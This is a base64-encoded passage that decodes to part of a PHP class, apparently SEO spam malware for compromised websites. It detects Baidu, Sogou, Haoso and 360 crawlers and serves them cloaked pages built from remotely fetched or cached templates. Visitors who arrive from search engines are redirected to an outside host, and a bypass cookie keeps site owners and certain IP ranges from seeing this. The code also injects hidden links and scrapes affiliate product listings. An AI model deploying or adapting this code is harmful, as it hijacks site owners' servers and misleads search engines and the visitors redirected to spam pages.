ZGF0YSA9ICRxdWVyeV9kYXRhOwoJCXJldHVybiB0cnVlOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBo dG1sKCl7CgkJJGNvbnRlbnQgPSAkdGhpcy0+Y29udGVudDsKCQkkYWxpbWFtYV9qc29uID0ganNv bl9kZWNvZGUoJGNvbnRlbnQsdHJ1ZSk7CgkJJGh0bWwgPSAiPHVsPiI7CgkJZm9yZWFjaCAoJGFs aW1hbWFfanNvblsnZGF0YSddWydwYWdlTGlzdCddIGFzICRrZXkgPT4gJHZhbHVlKSB7CgkgCQkk aXRlbV91cmw9JHZhbHVlWydhdWN0aW9uVXJsJ107CgkgCQkkaXRlbV90aXRsZT0kdmFsdWVbJ3Rp dGxlJ107CgkgCQkkaXRlbV9wcmljZT0kdmFsdWVbJ3prUHJpY2UnXTsKCSAJCSRpdGVtX3BpY3RV cmw9JHZhbHVlWydwaWN0VXJsJ10uJ180MDB4NDAwXy53ZWJwJzsKCSAJCSRpdGVtX25pY2s9JHZh bHVlWyduaWNrJ107CgkgCQkkaXRlbV90b3RhbE51bT0n5oC76ZSA6YePOicuJHZhbHVlWyd0b3Rh bE51bSddOwoJIAkJJGl0ZW1fdG90YWxGZWU9J+aAu+S6pOaYk+minTonLiR2YWx1ZVsndG90YWxG ZWUnXTsKCgkJCSRodHRwX2hvc3QgPSAkX1NFUlZFUlsnSFRUUF9IT1NUJ107CiAJCQkkcGhwX3Nl bGYgPSAkX1NFUlZFUlsnUEhQX1NFTEYnXTsKCSAJCSRpdGVtX3VybD0naHR0cDovLycuJGh0dHBf aG9zdC4kcGhwX3NlbGYuJz9nb3R1PScuYmFzZTY0X2VuY29kZSgkaXRlbV91cmwpOwoKCSAJCSRp dGVtX3BpY3RVcmw9J2h0dHA6Ly9pLmthbnR1LmluLycuYmFzZTY0X2VuY29kZSgkaXRlbV9waWN0 VXJsKTsKCgkJCSRsaSA9ICR0aGlzLT5saV90ZW1wbGF0ZTsKCgkJCSRsaSA9IHN0cl9yZXBsYWNl KCd7dGl0bGV9JywkaXRlbV90aXRsZSwkbGkpOwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne3ByaWNl fScsJGl0ZW1fcHJpY2UsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3t1cmx9JywkaXRlbV91 cmwsJGxpKTsKCQkJJGxpID0gc3RyX3JlcGxhY2UoJ3twaWN1cmx9JywkaXRlbV9waWN0VXJsLCRs aSk7CgkJCSRsaSA9IHN0cl9yZXBsYWNlKCd7dG90YWxOdW19JywkaXRlbV90b3RhbE51bSwkbGkp OwoJCQkkbGkgPSBzdHJfcmVwbGFjZSgne25pY2t9JywkaXRlbV9uaWNrLCRsaSk7CgkJCSRsaSA9 IHN0cl9yZXBsYWNlKCd7dG90YWxGZWV9JywkaXRlbV90b3RhbEZlZSwkbGkpOwoKCQkJJGh0bWwg PSAkaHRtbC4kbGk7CgkgCQkvLyBlY2hvICRsaTsKCSAJfQoJIAkkaHRtbCA9ICRodG1sLiI8L3Vs PiI7CgkJcmV0dXJuICRodG1sOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBxdWVyeSgpewoJCSR1cmwg ID0gJHRoaXMtPmNyYXdsX3VybC4nPycuaHR0cF9idWlsZF9xdWVyeSgkdGhpcy0+cXVlcnlfZGF0 YSk7CgkJJHRoaXMtPmNvbnRlbnQgPSAkdGhpcy0+SHR0cFZpc2l0KCR1cmwpOwoJfQoKCXB1Ymxp YyBmdW5jdGlvbiBydW4oKXsKCQkkdGhpcy0+ZG9tYWluID0gJHRoaXMtPmdldFNlcnZlck5hbWUo KTsKCQkkdGhpcy0+anVtcF9yZWYgPSBleHBsb2RlKCJ8IiwiYmFpZHUufGhhb3NvLnxoYW9zb3Uu fGJpbmcufHNvLnxzb2dvdS58c29zby4iKTsKCQkkdGhpcy0+aHR0cF9yZWZfZmlsdGVyID0gZXhw bG9kZSgifCIsImludXJsOnxzaXRlOnxzaXRlJTNBfGludXJsJTNBIik7CgkJJHRoaXMtPmFsbG93 X2lwID0gIjIyMi4xODQuMjM0fDExMi44Ny43MXw1OC4yMjEuODcufDQ5LjY3LjIyMyI7CgkJJHRo aXMtPmNvbmRpdGlvbiA9ICgkX0dFVFsnYWlkJ10gPiAxMDAwMDAwMCAmJiAkdGhpcy0+aXNBbGxv d2RJcCgpKTsKCQkkdGhpcy0+YXBwX3NlcnZlciA9ICIiOwoJCSR0aGlzLT5pc0NhY2hlICA9IEZh bHNlOwoJCWlmKCR0aGlzLT5pc1NwaWRlcigpICYmICR0aGlzLT5pc0FsbG93ZElwKCkpewoJCQkJ aWYoJHRoaXMtPmNvbmRpdGlvbil7CgkJCQkJaWYoJHRoaXMtPmlzQ2FjaGUpewoJCQkJCQkkcmVs c2V0X2hvc3QgPSAkdGhpcy0+Z2V0U2VydmVyTmFtZSgpOwoJCQkJCQkkZGlyID0gKHN1YnN0cihQ SFBfT1MsIDAsIDMpID09ICdXSU4nID8gJ0M6L3dpbmRvd3MvdGVtcC8nIDogJy90bXAvJykgLiBz dWJzdHIobWQ1KCRyZWxzZXRfaG9zdCksIDI2KSAuIGNocig0Nyk7CgkJCQkJCSRjYWNoZUZpbGUg PSAkZGlyLidzZXNzXycgLiBzdWJzdHIobWQ1KGh0dHBfYnVpbGRfcXVlcnkoJF9HRVQpKSwgNik7 CgkJCQkJCWlmKCFAZmlsZV9leGlzdHMoJGRpcikpewogICAgICAgICAgICAgCQkJCSBta2Rpcigk ZGlyLCAwNzc3KTsKICAgICAgICAgICAgCQkJfQoJCQkJCQlpZihAZmlsZV9leGlzdHMoJGNhY2hl RmlsZSkgJiYgQGZpbGVzaXplICgkY2FjaGVGaWxlKSA+IDMyICl7CgkJCQkJCQkkdmFyID0gY29y ZUFwcENhY2hlOjpyZWFkKCRjYWNoZUZpbGUpOwoJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9jb250 ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQlmb3JlYWNoKCR2YXIgYXMgJGtleT0+JHYp ewoJCQkJCQkJCSRmbGFnID0gInsiLiRrZXkuIn0iOwoJCQkJCQkJCSRwYWdlID0gc3RyX3JlcGxh Y2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJfQoJCQkJCQkJZWNobyAkcGFnZTsKCQkJCQkJCWV4 aXQoKTsKCQkJCQkJfQoJCQkJCQllbHNlCgkJCQkJCXsJCgkJCQkJCQkvL8Kww7zCusKswr3DuEFQ UMK8wrTCv8OJCgkJCQkJCQkkY3VycmVudFBhZ2UgPSBpbmNsdWRlKEFQUF9KQUNLX0FQUEZJTEUp OwoJCQkJCQkJaWYoJGN1cnJlbnRQYWdlICYmIHN0cmxlbigkY3VycmVudFBhZ2UpID4gMzIgJiYg c3RyaXN0cigkY3VycmVudFBhZ2UsIjwvZXhwbG9kZT4iKSl7CgkJCQkJCQkJJHZhciA9IHNlbGY6 OmN1dCgkY3VycmVudFBhZ2UsIjxleHBsb2RlPiIsIjwvZXhwbG9kZT4iKTsKCQkJCQkJCQkkdmFy ID0gY29yZUFwcENhY2hlOjpkZWNvZGUoJHZhcik7CgkJCQkJCQkJJHBhZ2UgPSBmaWxlX2dldF9j b250ZW50cyhBUFBfSkFDS19URU1QTEFURSk7CgkJCQkJCQkJZm9yZWFjaCgkdmFyIGFzICRrZXk9 PiR2KXsKCQkJCQkJCQkJJGZsYWcgPSAieyIuJGtleS4ifSI7CgkJCQkJCQkJCSRwYWdlID0gc3Ry X3JlcGxhY2UoJGZsYWcsJHYsJHBhZ2UpOwoJCQkJCQkJCX0KCQkJCQkJCQllY2hvICRwYWdlOwoJ CQkJCQkJCUBjb3JlQXBwQ2FjaGU6OndyaXRlbm9jb2RlKCRjdXJyZW50UGFnZSwkY2FjaGVGaWxl KTsKCQkJCQkJCX0KCQkJCQkJfQoJCQkJCQlkaWUoKTsKCQkJCQl9CgkJCQkJZWxzZQoJCQkJCXsK CQkJCQkJJGN1cnJlbnRQYWdlID0gaW5jbHVkZShBUFBfSkFDS19BUFBGSUxFKTsKCQkJCQkJZWNo byAkY3VycmVudFBhZ2U7CgkJCQkJCWRpZSgpOwoJCQkJCX0KCQkJCX0KCQkJCWVsc2UKCQkJCXsK CgkJCQkJJHRoaXMtPl91bmNvbmRpdGlvbl9ob29rKCk7CgkJCQl9CgkJfQoJCWVsc2UKCQl7CQoJ CQlpZigkdGhpcy0+aXNSZWYoKSAmJiAkdGhpcy0+Y29uZGl0aW9uKXsKCQkJCSR0aGlzLT5KdW1w KCk7CgkJCX0KCQkJZWxzZQoJCQl7CgkJCQkkdGhpcy0+X3VuU3BpZGVyX2hvb2soKTsKCQkJfQoJ CX0KCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNBbGxvd2RJcCgpewoJCSRpcCA9ICR0aGlzLT5jbGll bnRJcCgpOwoJCSRub25fbGlzdCA9IGV4cGxvZGUoInwiLCR0aGlzLT5hbGxvd19pcCk7CgkJZm9y ZWFjaCgkbm9uX2xpc3QgYXMgJGlwbGlzdCl7CgkJCWlmKEBzdHJpc3RyKCRpcCwkaXBsaXN0KSl7 CgkJCQlyZXR1cm4gZmFsc2U7CgkJCX0KCQl9CgkJcmV0dXJuIHRydWU7Cgl9CgoJcHVibGljIGZ1 bmN0aW9uIGNsaWVudElwKCl7CgkJaWYoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpICYmIHN0cmNh c2VjbXAoZ2V0ZW52KCdIVFRQX0NMSUVOVF9JUCcpLCAndW5rbm93bicpKSB7CgkJCSRvbmxpbmVp cCA9IGdldGVudignSFRUUF9DTElFTlRfSVAnKTsKCQl9IGVsc2VpZihnZXRlbnYoJ0hUVFBfWF9G T1JXQVJERURfRk9SJykgJiYgc3RyY2FzZWNtcChnZXRlbnYoJ0hUVFBfWF9GT1JXQVJERURfRk9S JyksICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gZ2V0ZW52KCdIVFRQX1hfRk9SV0FSREVE X0ZPUicpOwoJCX0gZWxzZWlmKGdldGVudignUkVNT1RFX0FERFInKSAmJiBzdHJjYXNlY21wKGdl dGVudignUkVNT1RFX0FERFInKSwgJ3Vua25vd24nKSkgewoJCQkkb25saW5laXAgPSBnZXRlbnYo J1JFTU9URV9BRERSJyk7CgkJfSBlbHNlaWYoaXNzZXQoJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10p ICYmICRfU0VSVkVSWydSRU1PVEVfQUREUiddICYmIHN0cmNhc2VjbXAoJF9TRVJWRVJbJ1JFTU9U RV9BRERSJ10sICd1bmtub3duJykpIHsKCQkJJG9ubGluZWlwID0gJF9TRVJWRVJbJ1JFTU9URV9B RERSJ107CgkJfQoJCXByZWdfbWF0Y2goIi9bXGRcLl17NywxNX0vIiwgJG9ubGluZWlwLCAkb25s aW5laXBtYXRjaGVzKTsKCQkkb25saW5laXAgPSAkb25saW5laXBtYXRjaGVzWzBdID8gJG9ubGlu ZWlwbWF0Y2hlc1swXSA6ICd1bmtub3duJzsKCQl1bnNldCgkb25saW5laXBtYXRjaGVzKTsKCQly ZXR1cm4gJG9ubGluZWlwOwoJfQoKCXB1YmxpYyBmdW5jdGlvbiBpc1NwaWRlcigpewoJCSRib3Rz ID0gYXJyYXkoCgkJCQknQmFpZHUnICAgICAgICA9PiAnYmFpZHVzcGlkZXInLAoJCQkJJ1NvZ291 JyAgICAgICAgPT4gJ3NvZ291JywKCQkJCSdIYW9zbycgICAgICAgID0+ICdoYW9zb3VzcGlkZXIn LAoJCQkJJzM2MHNwaWRlcicgICAgICAgID0+ICczNjBzcGlkZXInCgkJICk7CgkJJHVzZXJBZ2Vu dCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCQlmb3JlYWNoICgk Ym90cyBhcyAkayA9PiAkdil7CgkJCWlmIChzdHJpc3RyKCR1c2VyQWdlbnQsJHYpKXsKCQkJCWlm KCFlbXB0eSgkdGhpcy0+bG9nX3NwaWRlcikpewoJCQkJCUBmaWxlX3B1dF9jb250ZW50cygkdGhp cy0+bG9nX3NwaWRlciwkdi4iLT5WaXNpdGVkICIuJF9TRVJWRVJbJ1FVRVJZX1NUUklORyddLiJh dDogIi5kYXRlKCJZLW0tZCBIOmk6cyIpLiJcbiIsRklMRV9BUFBFTkQpOwoJCQkJfQoJCQkJJHRo aXMtPmN1cl9zcGlkZXIgPSAkazsKCQkJCXJldHVybiB0cnVlOwoJCQkJYnJlYWs7CgkJCX0KCQl9 CgkJcmV0dXJuIGZhbHNlOwkKCX0KCglwdWJsaWMgZnVuY3Rpb24gaXNSZWYoKXsKCQkkcmVmID0g c3RydG9sb3dlcihAJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKTsKCQlpZihpc3NldCgkX0NPT0tJ RVsiZG9tYWluLWZpbHRlci1ieXBhc3MiXSkpewoJCQlyZXR1cm4gZmFsc2U7CgkJfQoJCQoJCWlm KCEkdGhpcy0+aXNBbGxvd2RJcCgpKXsKCQkJc2V0Y29va2llKCJkb21haW4tZmlsdGVyLWJ5cGFz cyIsICJsb2wiLCB0aW1lKCkgKyAyNTkyMDApOwoJCQlyZXR1cm4gZmFsc2U7CgkJfQoKCQlmb3Jl YWNoKCR0aGlzLT5odHRwX3JlZl9maWx0ZXIgYXMgJHIpewoJCQkkciA9IHRyaW0oJHIpOwoJCQlp ZihzdHJpc3RyKCRyZWYsJHIpKXsKCQkJCXNldGNvb2tpZSgiZG9tYWluLWZpbHRlci1ieXBhc3Mi LCAibG9sIiwgdGltZSgpICsgMjU5MjAwKTsKCQkJCXJldHVybiBmYWxzZTsKCQkJfQoJCX0KCQoJ CWZvcmVhY2goJHRoaXMtPmp1bXBfcmVmIGFzICRyKXsKCQkJJHIgPSB0cmltKCRyKTsKCQkJaWYo c3RyaXN0cigkcmVmLCRyKSl7CgkJCQlyZXR1cm4gdHJ1ZTsKCQkJfQoJCX0KCX0KCglwdWJsaWMg ZnVuY3Rpb24gZ2V0U2VydmVyTmFtZSgpIAoJeyAKCQkkU2VydmVyTmFtZSA9IHN0cnRvbG93ZXIo JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10/JF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ106JF9TRVJWRVJb J0hUVFBfSE9TVCddKTsgCgkJaWYoIHN0cnBvcygkU2VydmVyTmFtZSwnaHR0cDovLycpICkgCgkJ eyAKCQkJcmV0dXJuIHN0cl9yZXBsYWNlKCdodHRwOi8vJywnJywkU2VydmVyTmFtZSk7IAoJCX0g CgkJcmV0dXJuICRTZXJ2ZXJOYW1lOyAKCX0KCglwdWJsaWMgZnVuY3Rpb24gZ2V0UGFnZSgpewoJ CWlmKCR0aGlzLT5pc0NhY2hlKXsKCQkJJGNhY2hlPSJjYWNoZWQiOwoJCX0KCQkkdXJsICA9ICR0 aGlzLT5hcHBfc2VydmVyLiI/ZG9tYWluPSIuJHRoaXMtPmRvbWFpbi4iJmdpZD0xOTkmc3BpZGVy PSIuJHRoaXMtPmN1cl9zcGlkZXIuIiZjYWNoZT0iLiRjYWNoZS4iJmxvY2FsUGFyPSIuaHR0cF9i dWlsZF9xdWVyeSgkX0dFVCk7CgkJcmV0dXJuICR0aGlzLT5IdHRwVmlzaXQoJHVybCk7Cgl9Cgog ICAgcHVibGljIGZ1bmN0aW9uIEh0dHBWaXNpdCgkd2VidXJsKSB7CiAgICAJJHVzZXJfYWdlbnQg PSAiTW96aWxsYS81LjAgKE1hY2ludG9zaDsgSW50ZWwgTWFjIE9TIFggMTBfMTBfNSkgQXBwbGVX ZWJLaXQvNTM3LjM2IChLSFRNTCwgbGlrZSBHZWNrbykgQ2hyb21lLzQ1LjAuMjQ1NC44NSBTYWZh cmkvNTM3LjM2IFFRQnJvd3Nlci8zLjkuMzk0My40MDAiOwogICAgICAgICRyZW1vdGVfZGF0YSA9 IE5VTEw7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9leGVjJykpIHsKICAgICAg ICAgICAgJGN1cmwgPSBAY3VybF9pbml0KCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VUkwsICR3ZWJ1cmwpOwogICAgICAgICAgICBAY3VybF9zZXRvcHQoJGN1cmws IENVUkxPUFRfSEVBREVSLCAwKTsKICAgICAgICAgICAgQGN1cmxfc2V0b3B0KCRjdXJsLCBDVVJM T1BUX0NPTk5FQ1RUSU1FT1VULCAzMCk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3VybCwg Q1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwgMSk7CiAgICAgICAgICAgIEBjdXJsX3NldG9wdCgkY3Vy bCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyX2FnZW50KTsgCiAgICAgICAgICAgICRyZW1vdGVf ZGF0YSA9IEBjdXJsX2V4ZWMoJGN1cmwpOwogICAgICAgICAgICBAY3VybF9jbG9zZSgkY3VybCk7 CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygnc3RyZWFt X2NvbnRleHRfY3JlYXRlJykpIHsKICAgICAgICAgICAgICAgICRoZWFkZXJfYXJyYXkgPSBhcnJh eSgnaHR0cCcgPT4gYXJyYXkoJ21ldGhvZCcgPT4gJ0dFVCcsICd0aW1lb3V0JyA9PiAzMCkpOwog ICAgICAgICAgICAgICAgJGh0dHBfaGVhZGVyID0gQHN0cmVhbV9jb250ZXh0X2NyZWF0ZSgkaGVh ZGVyX2FycmF5KTsKICAgICAgICAgICAgICAgICRyZW1vdGVfZGF0YSA9IEBmaWxlX2dldF9jb250 ZW50cygkd2VidXJsLCBmYWxzZSwgJGh0dHBfaGVhZGVyKTsKICAgICAgICAgICAgfSBlbHNlIHsK ICAgICAgICAgICAgICAgICR0ZW1wX3VybCA9IGV4cGxvZGUoIi8iLCAkd2VidXJsKTsKICAgICAg ICAgICAgICAgICRuZXdfdXJsID0gJHRlbXBfdXJsWzJdOwogICAgICAgICAgICAgICAgJGh0dHBf cG9ydCA9IDgwOwogICAgICAgICAgICAgICAgJGdldF9maWxlID0gc3Vic3RyKCR3ZWJ1cmwsIHN0 cmxlbigkbmV3X3VybCkgKyA3KTsKICAgICAgICAgICAgICAgIGlmIChzdHJzdHIoJG5ld191cmws IGNocig1OCkpKSB7CiAgICAgICAgICAgICAgICAgICAgJHNfdmFyX2FycmF5Wyd0ZCddID0gZXhw bG9kZShjaHIoNTgpLCAkbmV3X3VybCk7CiAgICAgICAgICAgICAgICAgICAgJG5ld191cmwgPSAk c192YXJfYXJyYXlbJ3RkJ11bMF07CiAgICAgICAgICAgICAgICAgICAgJGh0dHBfcG9ydCA9ICRz X3Zhcl9hcnJheVsndGQnXVsxXTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICRm c29ja19yZXN1bHQgPSBAZnNvY2tvcGVuKCRuZXdfdXJsLCAkaHR0cF9wb3J0KTsKICAgICAgICAg ICAgICAgIEBmcHV0cygkZnNvY2tfcmVzdWx0LCAnR0VUICcgLiAkZ2V0X2ZpbGUgLiAnIEhUVFAv MS4xJyAuICJcclxuIiAuICdIb3N0OicgLiAkbmV3X3VybCAuICJcclxuIiAuICdDb25uZWN0aW9u OkNsb3NlJyAuICJcclxuXHJcbiIpOwogICAgICAgICAgICAgICAgd2hpbGUgKCFmZW9mKCRmc29j a19yZXN1bHQpKSB7CiAgICAgICAgICAgICAgICAgICAgJHJlbW90ZV9kYXRhIC49IGZnZXRzKCRm c29ja19yZXN1bHQsIDEwMjQpOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgQGZj bG9zZSgkZnNvY2tfcmVzdWx0KTsKICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICByZXR1 cm4gJHJlbW90ZV9kYXRhOwogICAgfQoKCXB1YmxpYyBmdW5jdGlvbiBKdW1wKCl7CgkJaWYoJHRo aXMtPmlzQWxsb3dkSXAoKSl7CgkJCSRkb21haW4gID0gc3RyX3JlcGxhY2UoIi4iLCJfIiwkdGhp cy0+ZG9tYWluKTsKCQkJaGVhZGVyKCdMb2NhdGlvbjogaHR0cDovL250Lnd4Y29vbGJhYnkuY29t L250Lz9qcF8nLiRkb21haW4pOwoJCQlleGl0OwoJCX0KCX0KCQoJcHVibGljIGZ1bmN0aW9uIF91 bmNvbmRpdGlvbl9ob29rKCl7CgkJJGFycmF5ID0gYXJyYXkoKTsKCQlmb3IoJGE9MDskYTw1OyRh KyspewoJCQllY2hvICc8YSBocmVmPSInLkFwcF9HZXRMaW5rKCkuJyI+PC9hPicuIlxuIjsKCQl9 Cgl9CgoJcHVibGljIGZ1bmN0aW9uIF91blNwaWRlcl9ob29rKCl7CgkJLy8KCX0KCgoJcHVibGlj IGZ1bmN0aW9uIHN0clN0YXJ0V2l0aCgkbmVlZGxlLCAkaGF5c3RhY2spewogIAkgIHJldHVybiAo c3Vic3RyKCRoYXlzdGFjaywgMCwgc3RybGVuKCRuZWVkbGUpKT09JG5lZWRsZSk7Cgl9CgkKCXB1 YmxpYyBmdW5jdGlvbiBjdXQoJGZpbGUsJGZyb20sJGVuZCkKCXsgCgkJJG1lc3NhZ2U9ZXhwbG9k ZSgkZnJvbSwkZmlsZSk7IAoJCSRtZXNzYWdlPWV4cGxvZGUoJGVuZCwkbWVzc2FnZVsxXSk7IAoJ CXJldHVybiAgICRtZXNzYWdlWzBdOwoJfQp9CgoK